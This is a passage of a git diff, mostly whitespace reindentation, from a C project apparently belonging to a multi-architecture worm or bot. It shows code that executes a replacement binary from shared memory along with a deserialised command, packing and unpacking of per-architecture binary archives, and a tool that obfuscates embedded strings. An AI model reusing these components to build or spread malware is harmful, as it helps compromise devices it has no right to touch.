str_len - 2); + + return shm_open(prne_s_g->ny_bin_shm_name, O_RDWR | O_CREAT | O_TRUNC, 0700); } static void exec_ny_bin (void) { - // Just die on error - static const size_t proc_fd_path_size = 14 + 11 + 1; - int fd; - uint8_t *data; - size_t i; - const char **args; - struct stat st; - char *proc_fd_path, *real_shm_path; - prne_htbt_cmd_t cmd; - - prne_htbt_init_cmd(&cmd); - - fd = shm_open(prne_s_g->ny_bin_shm_name, O_RDONLY, 0); - if (fd < 0) { - abort(); - } - if (fstat(fd, &st) < 0 || st.st_size <= 0 || (size_t)st.st_size < prne_s_g->ny_bin_size) { - abort(); - } - data = (uint8_t*)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_SHARED, fd, 0); - - if (prne_htbt_deserialise_cmd(data + prne_s_g->ny_bin_size, (size_t)st.st_size - prne_s_g->ny_bin_size, NULL, &cmd) != PRNE_HTBT_DESER_RET_OK) { - abort(); - } - - munmap(data, (size_t)st.st_size); - data = NULL; - ftruncate(fd, prne_s_g->ny_bin_size); - - args = prne_malloc(sizeof(const char*), (size_t)cmd.argc + 2); - for(i = 1; i <= cmd.argc; i += 1) { - args[i] = cmd.mem + cmd.offset_arr[i]; - } - args[i] = NULL; - - proc_fd_path = prne_malloc(1, proc_fd_path_size); - snprintf(proc_fd_path, proc_fd_path_size, "/proc/self/fd/%d", fd); - if (lstat(proc_fd_path, &st) < 0) { - abort(); - } - - real_shm_path = prne_malloc(1, st.st_size + 1); - if (readlink(proc_fd_path, real_shm_path, st.st_size) != st.st_size) { - abort(); - } - prne_free(proc_fd_path); - proc_fd_path = NULL; - args[0] = real_shm_path; - - fchmod(fd, 0777); - prne_close(fd); - fd = -1; - - if (execv(real_shm_path, (char *const*)args) < 0) { - abort(); - } + // Just die on error + static const size_t proc_fd_path_size = 14 + 11 + 1; + int fd; + uint8_t *data; + size_t i; + const char **args; + struct stat st; + char *proc_fd_path, *real_shm_path; + prne_htbt_cmd_t cmd; + + prne_htbt_init_cmd(&cmd); + + fd = shm_open(prne_s_g->ny_bin_shm_name, O_RDONLY, 0); + if (fd < 0) { + abort(); + } + if (fstat(fd, &st) < 0 || st.st_size <= 0 || (size_t)st.st_size < prne_s_g->ny_bin_size) { + abort(); + } + data = (uint8_t*)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_SHARED, fd, 0); + + if (prne_htbt_deserialise_cmd(data + prne_s_g->ny_bin_size, (size_t)st.st_size - prne_s_g->ny_bin_size, NULL, &cmd) != PRNE_HTBT_DESER_RET_OK) { + abort(); + } + + munmap(data, (size_t)st.st_size); + data = NULL; + ftruncate(fd, prne_s_g->ny_bin_size); + + args = prne_malloc(sizeof(const char*), (size_t)cmd.argc + 2); + for(i = 1; i <= cmd.argc; i += 1) { + args[i] = cmd.mem + cmd.offset_arr[i]; + } + args[i] = NULL; + + proc_fd_path = prne_malloc(1, proc_fd_path_size); + snprintf(proc_fd_path, proc_fd_path_size, "/proc/self/fd/%d", fd); + if (lstat(proc_fd_path, &st) < 0) { + abort(); + } + + real_shm_path = prne_malloc(1, st.st_size + 1); + if (readlink(proc_fd_path, real_shm_path, st.st_size) != st.st_size) { + abort(); + } + prne_free(proc_fd_path); + proc_fd_path = NULL; + args[0] = real_shm_path; + + fchmod(fd, 0777); + prne_close(fd); + fd = -1; + + if (execv(real_shm_path, (char *const*)args) < 0) { + abort(); + } } #endif @@ -16,213 +16,213 @@ void prne_init_bin_archive (prne_bin_archive_t *a) { - a->data_size = 0; - a->data = NULL; - a->nb_binaries = 0; - a->arch_arr = NULL; - a->offset_arr = NULL; - a->size_arr = NULL; + a->data_size = 0; + a->data = NULL; + a->nb_binaries = 0; + a->arch_arr = NULL; + a->offset_arr = NULL; + a->size_arr = NULL; } void prne_init_unpack_bin_archive_result (prne_unpack_bin_archive_result_t *r) { - r->data_size = 0; - r->data = NULL; - r->result = PRNE_UNPACK_BIN_ARCHIVE_OK; - r->err = 0; + r->data_size = 0; + r->data = NULL; + r->result = PRNE_UNPACK_BIN_ARCHIVE_OK; + r->err = 0; } prne_unpack_bin_archive_result_t prne_unpack_bin_archive (const int fd) { - static const size_t fd_buf_size = 77, b64_buf_size = 58, z_buf_size = 1024; - - prne_unpack_bin_archive_result_t ret; - uint8_t *mem = NULL, *fd_buf = NULL, *b64_buf = NULL, *z_buf = NULL; - int fd_read_size, fd_data_size, rem_size = 0; - int z_func_ret; - z_stream stream; - size_t dec_b64_size, z_out_size; - void *ny_buf; - bool stream_end; - - prne_init_unpack_bin_archive_result(&ret); - memzero(&stream, sizeof(z_stream)); - - mem = (uint8_t*)prne_malloc(1, fd_buf_size + b64_buf_size + z_buf_size); - if (mem == NULL) { - ret.result = PRNE_UNPACK_BIN_ARCHIVE_MEM_ERR; - ret.err = errno; - goto END; - } - fd_buf = mem; - b64_buf = mem + fd_buf_size; - z_buf = mem + fd_buf_size + b64_buf_size; - - z_func_ret = inflateInit(&stream); - if (z_func_ret != Z_OK) { - ret.result = PRNE_UNPACK_BIN_ARCHIVE_Z_ERR; - ret.err = z_func_ret; - goto END; - } - - stream_end = false; - do { - fd_read_size = read(fd, fd_buf + rem_size, fd_buf_size - rem_size); - if (fd_read_size < 0) { - ret.result = PRNE_UNPACK_BIN_ARCHIVE_ERRNO; - ret.err = errno; - goto END; - } - if (fd_read_size == 0) { - break; - } - fd_read_size += rem_size; - - fd_read_size = fd_data_size = prne_str_shift_spaces((char*)fd_buf, (size_t)fd_read_size); - fd_data_size = fd_data_size / 4 * 4; - rem_size = fd_read_size - fd_data_size; - - if (fd_data_size > 0) { - ret.err = mbedtls_base64_decode(b64_buf, b64_buf_size, &dec_b64_size, fd_buf, fd_data_size); - if (ret.err != 0) { - ret.result = PRNE_UNPACK_BIN_ARCHIVE_CRYPTO_ERR; - } - - if (dec_b64_size > 0) { - stream.avail_in = dec_b64_size; - stream.next_in = b64_buf; - do { - stream.avail_out = z_buf_size; - stream.next_out = z_buf; - z_func_ret = inflate(&stream, Z_NO_FLUSH); - switch (z_func_ret) { - case Z_STREAM_END: - stream_end = true; - break; - case Z_OK: - case Z_BUF_ERROR: - break; - default: - ret.result = PRNE_UNPACK_BIN_ARCHIVE_Z_ERR; - ret.err = z_func_ret; - goto END; - } - - z_out_size = z_buf_size - stream.avail_out; - if (z_out_size > 0) { - ny_buf = prne_realloc(ret.data, 1, ret.data_size + z_out_size); - if (ny_buf == NULL) { - ret.result = PRNE_UNPACK_BIN_ARCHIVE_MEM_ERR; - ret.err = errno; - break; - } - ret.data = (uint8_t*)ny_buf; - - memcpy(ret.data + ret.data_size, z_buf, z_out_size); - ret.data_size += z_out_size; - } - } while (stream.avail_out == 0); - } - } - - memmove(fd_buf, fd_buf + fd_data_size, rem_size); - } while (!stream_end); - - if (ret.data_size == 0) { - ret.result = PRNE_UNPACK_BIN_ARCHIVE_FMT_ERR; - } + static const size_t fd_buf_size = 77, b64_buf_size = 58, z_buf_size = 1024; + + prne_unpack_bin_archive_result_t ret; + uint8_t *mem = NULL, *fd_buf = NULL, *b64_buf = NULL, *z_buf = NULL; + int fd_read_size, fd_data_size, rem_size = 0; + int z_func_ret; + z_stream stream; + size_t dec_b64_size, z_out_size; + void *ny_buf; + bool stream_end; + + prne_init_unpack_bin_archive_result(&ret); + memzero(&stream, sizeof(z_stream)); + + mem = (uint8_t*)prne_malloc(1, fd_buf_size + b64_buf_size + z_buf_size); + if (mem == NULL) { + ret.result = PRNE_UNPACK_BIN_ARCHIVE_MEM_ERR; + ret.err = errno; + goto END; + } + fd_buf = mem; + b64_buf = mem + fd_buf_size; + z_buf = mem + fd_buf_size + b64_buf_size; + + z_func_ret = inflateInit(&stream); + if (z_func_ret != Z_OK) { + ret.result = PRNE_UNPACK_BIN_ARCHIVE_Z_ERR; + ret.err = z_func_ret; + goto END; + } + + stream_end = false; + do { + fd_read_size = read(fd, fd_buf + rem_size, fd_buf_size - rem_size); + if (fd_read_size < 0) { + ret.result = PRNE_UNPACK_BIN_ARCHIVE_ERRNO; + ret.err = errno; + goto END; + } + if (fd_read_size == 0) { + break; + } + fd_read_size += rem_size; + + fd_read_size = fd_data_size = prne_str_shift_spaces((char*)fd_buf, (size_t)fd_read_size); + fd_data_size = fd_data_size / 4 * 4; + rem_size = fd_read_size - fd_data_size; + + if (fd_data_size > 0) { + ret.err = mbedtls_base64_decode(b64_buf, b64_buf_size, &dec_b64_size, fd_buf, fd_data_size); + if (ret.err != 0) { + ret.result = PRNE_UNPACK_BIN_ARCHIVE_CRYPTO_ERR; + } + + if (dec_b64_size > 0) { + stream.avail_in = dec_b64_size; + stream.next_in = b64_buf; + do { + stream.avail_out = z_buf_size; + stream.next_out = z_buf; + z_func_ret = inflate(&stream, Z_NO_FLUSH); + switch (z_func_ret) { + case Z_STREAM_END: + stream_end = true; + break; + case Z_OK: + case Z_BUF_ERROR: + break; + default: + ret.result = PRNE_UNPACK_BIN_ARCHIVE_Z_ERR; + ret.err = z_func_ret; + goto END; + } + + z_out_size = z_buf_size - stream.avail_out; + if (z_out_size > 0) { + ny_buf = prne_realloc(ret.data, 1, ret.data_size + z_out_size); + if (ny_buf == NULL) { + ret.result = PRNE_UNPACK_BIN_ARCHIVE_MEM_ERR; + ret.err = errno; + break; + } + ret.data = (uint8_t*)ny_buf; + + memcpy(ret.data + ret.data_size, z_buf, z_out_size); + ret.data_size += z_out_size; + } + } while (stream.avail_out == 0); + } + } + + memmove(fd_buf, fd_buf + fd_data_size, rem_size); + } while (!stream_end); + + if (ret.data_size == 0) { + ret.result = PRNE_UNPACK_BIN_ARCHIVE_FMT_ERR; + } END: - prne_free(mem); - if (ret.result != PRNE_UNPACK_BIN_ARCHIVE_OK) { - prne_free(ret.data); - ret.data = NULL; - ret.data_size = 0; - } - inflateEnd(&stream); - - return ret; + prne_free(mem); + if (ret.result != PRNE_UNPACK_BIN_ARCHIVE_OK) { + prne_free(ret.data); + ret.data = NULL; + ret.data_size = 0; + } + inflateEnd(&stream); + + return ret; } prne_index_bin_archive_result_code_t prne_index_bin_archive (prne_unpack_bin_archive_result_t *in, prne_bin_archive_t *out) { - prne_index_bin_archive_result_code_t ret = PRNE_INDEX_BIN_ARCHIVE_OK; - size_t buf_pos = 0, arr_cnt = 0, offset_arr[NB_PRNE_ARCH], size_arr[NB_PRNE_ARCH]; - prne_arch_t arch; - uint_fast32_t bin_size; - prne_arch_t arch_arr[NB_PRNE_ARCH]; - prne_bin_archive_t archive; - - memzero(arch_arr, sizeof(prne_arch_t) * NB_PRNE_ARCH); - memzero(offset_arr, sizeof(size_t) * NB_PRNE_ARCH); - memzero(size_arr, sizeof(size_t) * NB_PRNE_ARCH); - prne_init_bin_archive(&archive); - - do { - if (buf_pos + 4 >= in->data_size || arr_cnt >= NB_PRNE_ARCH) { - ret = PRNE_INDEX_BIN_ARCHIVE_FMT_ERR; - goto END; - } - - arch = (prne_arch_t)in->data[buf_pos]; - bin_size = - ((uint_fast32_t)in->data[buf_pos + 1] << 16) | - ((uint_fast32_t)in->data[buf_pos + 2] << 8) | - (uint_fast32_t)in->data[buf_pos + 3]; - if (prne_arch_tostr(arch) == NULL || bin_size == 0 || buf_pos + 4 + bin_size > in->data_size) { - ret = PRNE_INDEX_BIN_ARCHIVE_FMT_ERR; - goto END; - } - - arch_arr[arr_cnt] = arch; - offset_arr[arr_cnt] = 4 + buf_pos; - size_arr[arr_cnt] = bin_size; - arr_cnt += 1; - - buf_pos += 4 + bin_size; - } while (buf_pos < in->data_size); - - archive.arch_arr = (prne_arch_t*)prne_malloc(sizeof(prne_arch_t), arr_cnt); - archive.offset_arr = (size_t*)prne_malloc(sizeof(size_t), arr_cnt); - archive.size_arr = (size_t*)prne_malloc(sizeof(size_t), arr_cnt); - if (archive.arch_arr == NULL || archive.offset_arr == NULL || archive.size_arr == NULL) { - ret = PRNE_INDEX_BIN_ARCHIVE_MEM_ERR; - goto END; - } - - archive.data_size = in->data_size; - archive.data = in->data; - archive.nb_binaries = arr_cnt; - memcpy(archive.arch_arr, arch_arr, arr_cnt * sizeof(prne_arch_t)); - memcpy(archive.offset_arr, offset_arr, arr_cnt * sizeof(size_t)); - memcpy(archive.size_arr, size_arr, arr_cnt * sizeof(size_t)); - - in->data = NULL; - in->data_size = 0; - *out = archive; + prne_index_bin_archive_result_code_t ret = PRNE_INDEX_BIN_ARCHIVE_OK; + size_t buf_pos = 0, arr_cnt = 0, offset_arr[NB_PRNE_ARCH], size_arr[NB_PRNE_ARCH]; + prne_arch_t arch; + uint_fast32_t bin_size; + prne_arch_t arch_arr[NB_PRNE_ARCH]; + prne_bin_archive_t archive; + + memzero(arch_arr, sizeof(prne_arch_t) * NB_PRNE_ARCH); + memzero(offset_arr, sizeof(size_t) * NB_PRNE_ARCH); + memzero(size_arr, sizeof(size_t) * NB_PRNE_ARCH); + prne_init_bin_archive(&archive); + + do { + if (buf_pos + 4 >= in->data_size || arr_cnt >= NB_PRNE_ARCH) { + ret = PRNE_INDEX_BIN_ARCHIVE_FMT_ERR; + goto END; + } + + arch = (prne_arch_t)in->data[buf_pos]; + bin_size = + ((uint_fast32_t)in->data[buf_pos + 1] << 16) | + ((uint_fast32_t)in->data[buf_pos + 2] << 8) | + (uint_fast32_t)in->data[buf_pos + 3]; + if (prne_arch_tostr(arch) == NULL || bin_size == 0 || buf_pos + 4 + bin_size > in->data_size) { + ret = PRNE_INDEX_BIN_ARCHIVE_FMT_ERR; + goto END; + } + + arch_arr[arr_cnt] = arch; + offset_arr[arr_cnt] = 4 + buf_pos; + size_arr[arr_cnt] = bin_size; + arr_cnt += 1; + + buf_pos += 4 + bin_size; + } while (buf_pos < in->data_size); + + archive.arch_arr = (prne_arch_t*)prne_malloc(sizeof(prne_arch_t), arr_cnt); + archive.offset_arr = (size_t*)prne_malloc(sizeof(size_t), arr_cnt); + archive.size_arr = (size_t*)prne_malloc(sizeof(size_t), arr_cnt); + if (archive.arch_arr == NULL || archive.offset_arr == NULL || archive.size_arr == NULL) { + ret = PRNE_INDEX_BIN_ARCHIVE_MEM_ERR; + goto END; + } + + archive.data_size = in->data_size; + archive.data = in->data; + archive.nb_binaries = arr_cnt; + memcpy(archive.arch_arr, arch_arr, arr_cnt * sizeof(prne_arch_t)); + memcpy(archive.offset_arr, offset_arr, arr_cnt * sizeof(size_t)); + memcpy(archive.size_arr, size_arr, arr_cnt * sizeof(size_t)); + + in->data = NULL; + in->data_size = 0; + *out = archive; END: - if (ret != PRNE_INDEX_BIN_ARCHIVE_OK) { - prne_free_bin_archive(&archive); - } + if (ret != PRNE_INDEX_BIN_ARCHIVE_OK) { + prne_free_bin_archive(&archive); + } - return ret; + return ret; } void prne_free_unpack_bin_archive_result (prne_unpack_bin_archive_result_t *r) { - prne_free(r->data); - r->data = NULL; - r->data_size = 0; - r->result = PRNE_INDEX_BIN_ARCHIVE_OK; - r->err = 0; + prne_free(r->data); + r->data = NULL; + r->data_size = 0; + r->result = PRNE_INDEX_BIN_ARCHIVE_OK; + r->err = 0; } void prne_free_bin_archive (prne_bin_archive_t *a) { - prne_free(a->data); - prne_free(a->arch_arr); - prne_free(a->offset_arr); - prne_free(a->size_arr); - a->nb_binaries = 0; - a->data = NULL; - a->data_size = 0; - a->arch_arr = NULL; - a->offset_arr = NULL; - a->size_arr = NULL; + prne_free(a->data); + prne_free(a->arch_arr); + prne_free(a->offset_arr); + prne_free(a->size_arr); + a->nb_binaries = 0; + a->data = NULL; + a->data_size = 0; + a->arch_arr = NULL; + a->offset_arr = NULL; + a->size_arr = NULL; } @@ -9,34 +9,34 @@ typedef struct prne_bin_archive prne_bin_archive_t; typedef struct prne_unpack_bin_archive_result prne_unpack_bin_archive_result_t; struct prne_bin_archive { - size_t data_size; - uint8_t *data; - size_t nb_binaries; - prne_arch_t *arch_arr; - size_t *offset_arr; - size_t *size_arr; + size_t data_size; + uint8_t *data; + size_t nb_binaries; + prne_arch_t *arch_arr; + size_t *offset_arr; + size_t *size_arr; }; typedef enum { - PRNE_UNPACK_BIN_ARCHIVE_OK, - PRNE_UNPACK_BIN_ARCHIVE_CRYPTO_ERR, - PRNE_UNPACK_BIN_ARCHIVE_Z_ERR, - PRNE_UNPACK_BIN_ARCHIVE_ERRNO, - PRNE_UNPACK_BIN_ARCHIVE_MEM_ERR, - PRNE_UNPACK_BIN_ARCHIVE_FMT_ERR + PRNE_UNPACK_BIN_ARCHIVE_OK, + PRNE_UNPACK_BIN_ARCHIVE_CRYPTO_ERR, + PRNE_UNPACK_BIN_ARCHIVE_Z_ERR, + PRNE_UNPACK_BIN_ARCHIVE_ERRNO, + PRNE_UNPACK_BIN_ARCHIVE_MEM_ERR, + PRNE_UNPACK_BIN_ARCHIVE_FMT_ERR } prne_unpack_bin_archive_result_code_t; struct prne_unpack_bin_archive_result { - size_t data_size; - uint8_t *data; - prne_unpack_bin_archive_result_code_t result; - long err; + size_t data_size; + uint8_t *data; + prne_unpack_bin_archive_result_code_t result; + long err; }; typedef enum { - PRNE_INDEX_BIN_ARCHIVE_OK, - PRNE_INDEX_BIN_ARCHIVE_FMT_ERR, - PRNE_INDEX_BIN_ARCHIVE_MEM_ERR + PRNE_INDEX_BIN_ARCHIVE_OK, + PRNE_INDEX_BIN_ARCHIVE_FMT_ERR, + PRNE_INDEX_BIN_ARCHIVE_MEM_ERR } prne_index_bin_archive_result_code_t; diff --git a/src/proone-list-arch.c b/src/proone-list-arch.c index c74bb77..3ca9e25 100644 --- a/src/proone-list-arch.c +++ b/src/proone-list-arch.c @@ -4,11 +4,11 @@ int main (void) { - prne_arch_t i; + prne_arch_t i; - for (i = PRNE_ARCH_NONE + 1; i < NB_PRNE_ARCH; i += 1) { - printf("%s\n", prne_arch_tostr(i)); - } + for (i = PRNE_ARCH_NONE + 1; i < NB_PRNE_ARCH; i += 1) { + printf("%s\n", prne_arch_tostr(i)); + } - return 0; + return 0; } diff --git a/src/proone-mask.c b/src/proone-mask.c index ba138a9..1807f3f 100644 --- a/src/proone-mask.c +++ b/src/proone-mask.c @@ -11,75 +11,75 @@ int main (const int argc, const char **args) { - int exit_code = 0; - ssize_t fd_read_size; - size_t read_size = 0; - uint8_t salt; - prne_dvault_mask_result_t mask_result; - prne_data_type_t type; + int exit_code = 0; + ssize_t fd_read_size; + size_t read_size = 0; + uint8_t salt; + prne_dvault_mask_result_t mask_result; + prne_data_type_t type; - prne_init_dvault_mask_result(&mask_result); + prne_init_dvault_mask_result(&mask_result); - if (argc <= 1) { - fprintf(stderr, - "Usage: %s <type>\n" - "<type>: 'cstr', 'bin'\n", - args[0]); - exit_code = 2; - goto END; - } + if (argc <= 1) { + fprintf(stderr, + "Usage: %s <type>\n" + "<type>: 'cstr', 'bin'\n", + args[0]); + exit_code = 2; + goto END; + } - type = prne_data_type_fstr(args[1]); - switch (type) { - case PRNE_DATA_TYPE_BIN: - case PRNE_DATA_TYPE_CSTR: { - static const size_t buf_size = 0x0000FFFF + 1; - uint8_t buf[buf_size]; + type = prne_data_type_fstr(args[1]); + switch (type) { + case PRNE_DATA_TYPE_BIN: + case PRNE_DATA_TYPE_CSTR: { + static const size_t buf_size = 0x0000FFFF + 1; + uint8_t buf[buf_size]; - do { - fd_read_size = read(STDIN_FILENO, buf + read_size, buf_size - read_size); - if (fd_read_size < 0) { - perror("Error reading stdin"); - exit_code = 1; - goto END; - } - if (fd_read_size > 0) { - read_size += fd_read_size; - if (read_size >= buf_size) { - fprintf(stderr, "Error: data too large\n"); - exit_code = 1; - goto END; - } - } - } while (fd_read_size > 0); + do { + fd_read_size = read(STDIN_FILENO, buf + read_size, buf_size - read_size); + if (fd_read_size < 0) { + perror("Error reading stdin"); + exit_code = 1; + goto END; + } + if (fd_read_size > 0) { + read_size += fd_read_size; + if (read_size >= buf_size) { + fprintf(stderr, "Error: data too large\n"); + exit_code = 1; + goto END; + } + } + } while (fd_read_size > 0); - if (read_size == 0) { - fprintf(stderr, "Error: no data read\n"); - exit_code = 1; - goto END; - } + if (read_size == 0) { + fprintf(stderr, "Error: no data read\n"); + exit_code = 1; + goto END; + } - getrandom(&salt, sizeof(salt), 0); + getrandom(&salt, sizeof(salt), 0); - mask_result = prne_dvault_mask(type, salt, read_size, buf); - if (mask_result.result == PRNE_DVAULT_MASK_OK) { - printf("(uint8_t*)\"%s\",\n", mask_result.str); - } - else { - fprintf(stderr, "Error: prne_dvault_mask() returned %d\n", (int)mask_result.result); - exit_code = 1; - goto END; - } - break; - } - default: - fprintf(stderr, "Error: unknown data type '%s'\n", args[1]); - exit_code = 2; - goto END; - } + mask_result = prne_dvault_mask(type, salt, read_size, buf); + if (mask_result.result == PRNE_DVAULT_MASK_OK) { + printf("(uint8_t*)\"%s\",\n", mask_result.str); + } + else { + fprintf(stderr, "Error: prne_dvault_mask() returned %d\n", (int)mask_result.result); + exit_code = 1; + goto END; + } + break; + } + default: + fprintf(stderr, "Error: unknown data type '%s'\n", args[1]); + exit_code = 2; + goto END; + } END: - prne_free_dvault_mask_result(&mask_result); + prne_free_dvault_mask_result(&mask_result); - return exit_code; + return exit_code; } diff --git a/src/proone-pack.c b/src/proone-pack.c index 85a2beb..8384fb1 100644 --- a/src/proone-pack.c +++ b/src/proone-pack.c @@ -17,131 +17,131 @@ int main (const int argc, const char **args) { - typedef struct { - prne_arch_t arch; - const char *path; - } archive_tuple_t; - size_t i; - const archive_tuple_t *encounter_arr[NB_PRNE_ARCH]; - archive_tuple_t archive_arr[NB_PRNE_ARCH]; - archive_tuple_t *archive; - size_t archive_arr_cnt = 0; - const char *path, *ext; - bool proc_result = true; - prne_arch_t arch; - int bin_fd = -1; - struct stat st; - uint8_t head[4]; - - if (argc <= 1) { - fprintf(stderr, "Usage: %s <path to binary 1> [path to binary 2 [path to binary ...]]\n", args[0]); - return 1; - } - // refuse to run if stdout is terminal - if (isatty(STDOUT_FILENO)) { - fprintf(stderr, "** Refusing to print on terminal.\n"); - return 1; - } - // too many files - if (argc - 1 > NB_PRNE_ARCH) { - fprintf(stderr, "** Too many files given (%d > %d).\n", argc - 1, NB_PRNE_ARCH); - return 1; - } - - // init - memzero(encounter_arr, sizeof(archive_tuple_t*) * NB_PRNE_ARCH); - memzero(archive_arr, sizeof(archive_tuple_t) * NB_PRNE_ARCH); - - // Check the file names are valid - for (i = 1; i < (size_t)argc; i += 1) { - path = args[i]; - - ext = strrchr(path, '.'); - if (ext == NULL) { - fprintf(stderr, "** %s: file extension not found\n", path); - proc_result = false; - continue; - } - ext += 1; - - arch = prne_arch_fstr(ext); - if (arch == PRNE_ARCH_NONE) { - fprintf(stderr, "** %s: unknown arch \"%s\"\n", path, ext); - proc_result = false; - continue; - } - - if (encounter_arr[arch] != NULL) { - fprintf(stderr, "** Duplicate arch!\n%s\n%s\n", encounter_arr[arch]->path, path); - proc_result = false; - continue; - } - - archive_arr[archive_arr_cnt].arch = arch; - archive_arr[archive_arr_cnt].path = path; - encounter_arr[arch] = &archive_arr[archive_arr_cnt]; - archive_arr_cnt += 1; - } - if (!proc_result) { - return 1; - } - - // do packing - fprintf(stderr, archive_arr_cnt == NB_PRNE_ARCH ? "Packing %zu binaries.\n" : "* Warning: packing only %zu binaries\n", archive_arr_cnt); - for (i = 0; i < archive_arr_cnt; i += 1) { - archive = &archive_arr[i]; - fprintf(stderr, "Packing: %s ...\n", archive->path); - - bin_fd = open(archive->path, O_RDONLY); - if (bin_fd < 0) { - perror("** open()"); - proc_result = false; - break; - } - - // get size - if (fstat(bin_fd, &st) != 0) { - perror("** fstat()"); - proc_result = false; - break; - } - if (st.st_size == 0) { - fprintf(stderr, "** empty file!\n"); - proc_result = false; - break; - } - if (st.st_size > 0x00FFFFFE) { - fprintf(stderr, "** binary too large!\n"); - proc_result = false; - break; - } - - // write head - head[0] = (uint8_t)archive->arch; - // endian conversion as the file is big endian - head[1] = (uint8_t)(((uint_fast32_t)st.st_size & 0x00FF0000) >> 16); - head[2] = (uint8_t)(((uint_fast32_t)st.st_size & 0x0000FF00) >> 8); - head[3] = (uint8_t)((uint_fast32_t)st.st_size & 0x000000FF); - if (write(STDOUT_FILENO, head, 4) != 4) { - perror("write()"); - proc_result = false; - break; - } - - // write binary - if (sendfile(STDOUT_FILENO, bin_fd, NULL, st.st_size) < 0) { - perror("** sendfile()"); - proc_result = false; - break; - } - - prne_close(bin_fd); - bin_fd = -1; - } - - prne_close(bin_fd); - bin_fd = -1; - errno = 0; - - return proc_result ? 0 : 2; + typedef struct { + prne_arch_t arch; + const char *path; + } archive_tuple_t; + size_t i; + const archive_tuple_t *encounter_arr[NB_PRNE_ARCH]; + archive_tuple_t archive_arr[NB_PRNE_ARCH]; + archive_tuple_t *archive; + size_t archive_arr_cnt = 0; + const char *path, *ext; + bool proc_result = true; + prne_arch_t arch; + int bin_fd = -1; + struct stat st; + uint8_t head[4]; + + if (argc <= 1) { + fprintf(stderr, "Usage: %s <path to binary 1> [path to binary 2 [path to binary ...]]\n", args[0]); + return 1; + } + // refuse to run if stdout is terminal + if (isatty(STDOUT_FILENO)) { + fprintf(stderr, "** Refusing to print on terminal.\n"); + return 1; + } + // too many files + if (argc - 1 > NB_PRNE_ARCH) { + fprintf(stderr, "** Too many files given (%d > %d).\n", argc - 1, NB_PRNE_ARCH); + return 1; + } + + // init + memzero(encounter_arr, sizeof(archive_tuple_t*) * NB_PRNE_ARCH); + memzero(archive_arr, sizeof(archive_tuple_t) * NB_PRNE_ARCH); + + // Check the file names are valid + for (i = 1; i < (size_t)argc; i += 1) { + path = args[i]; + + ext = strrchr(path, '.'); + if (ext == NULL) { + fprintf(stderr, "** %s: file extension not found\n", path); + proc_result = false; + continue; + } + ext += 1; + + arch = prne_arch_fstr(ext); + if (arch == PRNE_ARCH_NONE) { + fprintf(stderr, "** %s: unknown arch \"%s\"\n", path, ext); + proc_result = false; + continue; + } + + if (encounter_arr[arch] != NULL) { + fprintf(stderr, "** Duplicate arch!\n%s\n%s\n", encounter_arr[arch]->path, path); + proc_result = false; + continue; + } + + archive_arr[archive_arr_cnt].arch = arch; + archive_arr[archive_arr_cnt].path = path; + encounter_arr[arch] = &archive_arr[archive_arr_cnt]; + archive_arr_cnt += 1; + } + if (!proc_result) { + return 1; + } + + // do packing + fprintf(stderr, archive_arr_cnt == NB_PRNE_ARCH ? "Packing %zu binaries.\n" : "* Warning: packing only %zu binaries\n", archive_arr_cnt); + for (i = 0; i < archive_arr_cnt; i += 1) { + archive = &archive_arr[i]; + fprintf(stderr, "Packing: %s ...\n", archive->path); + + bin_fd = open(archive->path, O_RDONLY); + if (bin_fd < 0) { + perror("** open()"); + proc_result = false; + break; + } + + // get size + if (fstat(bin_fd, &st) != 0) { + perror("** fstat()"); + proc_result = false; + break; + } + if (st.st_size == 0) { + fprintf(stderr, "** empty file!\n"); + proc_result = false; + break; + } + if (st.st_size > 0x00FFFFFE) { + fprintf(stderr, "** binary too large!\n"); + proc_result = false; + break; + } + + // write head + head[0] = (uint8_t)archive->arch; + // endian conversion as the file is big endian + head[1] = (uint8_t)(((uint_fast32_t)st.st_size & 0x00FF0000) >> 16); + head[2] = (uint8_t)(((uint_fast32_t)st.st_size & 0x0000FF00) >> 8); + head[3] = (uint8_t)((uint_fast32_t)st.st_size & 0x000000FF); + if (write(STDOUT_FILENO, head, 4) != 4) { + perror("write()"); + proc_result = false; + break; + } + + // write binary + if (sendfile(STDOUT_FILENO, bin_fd, NULL, st.st_size) < 0) { + perror("** sendfile()"); + proc_result = false; + break; + } + + prne_close(bin_fd); + bin_fd = -1; + } + + prne_close(bin_fd); + bin_fd = -1; + errno = 0; + + return proc_result ? 0 : 2; } diff --git a/src/proone-resolv.c b/src/proone-resolv.c index 889d626..f103c78 100644 --- a/src/proone-resolv.c +++ b/src/proone-resolv.c @@ -297,12 +297,12 @@ static void install_signal_handlers (void) { struct sigaction sa; if (pipe(int_pipe) == 0) { - prne_set_pipe_size(int_pipe[0], 1); - prne_ok_or_die(fcntl(int_pipe[0], F_SETFL, O_NONBLOCK)); - prne_ok_or_die(fcntl(int_pipe[1], F_SETFL, O_NONBLOCK)); - prne_ok_or_die(fcntl(int_pipe[0], F_SETFD, FD_CLOEXEC)); - prne_ok_or_die(fcntl(int_pipe[1], F_SETFD, FD_CLOEXEC)); - } + prne_set_pipe_size(int_pipe[0], 1); + prne_ok_or_die(fcntl(int_pipe[0], F_SETFL, O_NONBLOCK)); + prne_ok_or_die(fcntl(int_pipe[1], F_SETFL, O_NONBLOCK)); + prne_ok_or_die(fcntl(int_pipe[0], F_SETFD, FD_CLOEXEC)); + prne_ok_or_die(fcntl(int_pipe[1], F_SETFD, FD_CLOEXEC)); + } memzero(&sa, sizeof(struct sigaction)); sa.sa_flags = SA_RESETHAND; diff --git a/src/proone-unpack.c b/src/proone-unpack.c index 295fedb..ff08e48 100644 --- a/src/proone-unpack.c +++ b/src/proone-unpack.c @@ -14,137 +14,137 @@ static void report_unpack_bin_archive_err (const prne_unpack_bin_archive_result_t *r) { - const char *err_str, *err_msg = NULL; - char err_buf[1024]; - - switch (r->result) { - case PRNE_UNPACK_BIN_ARCHIVE_OK: - err_str = "ok"; - break; - case PRNE_UNPACK_BIN_ARCHIVE_CRYPTO_ERR: - err_str = "crypto error"; - mbedtls_strerror(r->err, err_buf, 1024); - err_msg = err_buf; - break; - case PRNE_UNPACK_BIN_ARCHIVE_Z_ERR: - err_str = "zlib error"; - err_msg = zError((int)r->err); - break; - case PRNE_UNPACK_BIN_ARCHIVE_ERRNO: - err_str = "errno"; - err_msg = strerror((int)r->err); - break; - case PRNE_UNPACK_BIN_ARCHIVE_MEM_ERR: - err_str = "memory error"; - err_msg = strerror((int)r->err); - break; - case PRNE_UNPACK_BIN_ARCHIVE_FMT_ERR: - err_str = "format error"; - 